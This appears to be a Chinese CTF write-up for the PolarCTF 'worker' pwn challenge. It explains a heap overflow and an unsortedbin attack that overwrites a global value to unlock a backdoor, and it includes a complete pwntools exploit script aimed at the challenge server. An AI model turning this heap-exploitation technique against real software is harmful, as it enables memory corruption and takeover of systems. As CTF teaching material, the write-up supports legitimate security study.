题目
PolarCTF 2023冬季个人挑战赛 worker
思路
free之后置0,没有uaf
edit函数可以重新指定堆大小,存在堆溢出
存在后门函数,当0x6020C0地址处的值大于0x504,菜单输入1285即可进入后门函数
将第二个堆块放入unsortedbin,然后利用堆编辑溢出漏洞,通过前一个堆块使其溢出修改下一个堆块的bk指针,将其指向0x6020C0-0x10的位置。
分配一次过去之后0x6020B0的fd指针位置,也就是0x6020C0会被自动覆盖为libc中的一个地址,最后调用后门参数即可。
调试
先patch一个2.23-0ubuntu11.3的libc(2.26才会有tcache)
新建0x100堆块将其放入unsortedbin
通过堆块0编辑溢出将堆块1的bk指针指向0x6020C0-0x10,fd不重要覆盖为0即可
把0x100申请回来,此时unsortedbin会根据指针索引到下一位,并且把0x6020b0的fd指针位置改为main_arena+88的值,即满足0x6020C0大于0x504
代码
from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
p = remote('1.95.36.136', 2078)
#p=process('./worker')
#p=gdb.debug('./attachment','b main')
elf = ELF('./worker')
#libc=ELF('./libc-2.31.so')
def create(size,content):
p.sendlineafter(b"Your choice :n", b"1")
p.sendlineafter(b"Size of work:", str(size))
p.sendafter(b"Content of work:", content)
def edit(idx,size,content):
p.sendlineafter(b"Your choice :n", b"2")
p.sendlineafter(b"Index :", str(idx))
p.sendlineafter(b"Size of work :", str(size))
p.sendafter(b"Content of work :", content)
def delete(idx):
p.sendlineafter(b"Your choice :n", b"3")
p.sendlineafter(b"Index :", str(idx))
def debug():
gdb.attach(p)
pause()
backdoor = 0x6020C0
create(8,b'aaaa')
create(0x100,b'bbbb')
create(8,b'cccc')
delete(1)
edit(0,0x30,b'a'*0x10+p64(0)+p64(0x111)+p64(0)+p64(backdoor-0x10))
create(0x100,b'bbbb')
p.sendlineafter(b"Your choice :n", b"1285")
p.interactive()
原文始发于微信公众号(智佳网络安全):PWN-堆溢出导致任意地址写
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论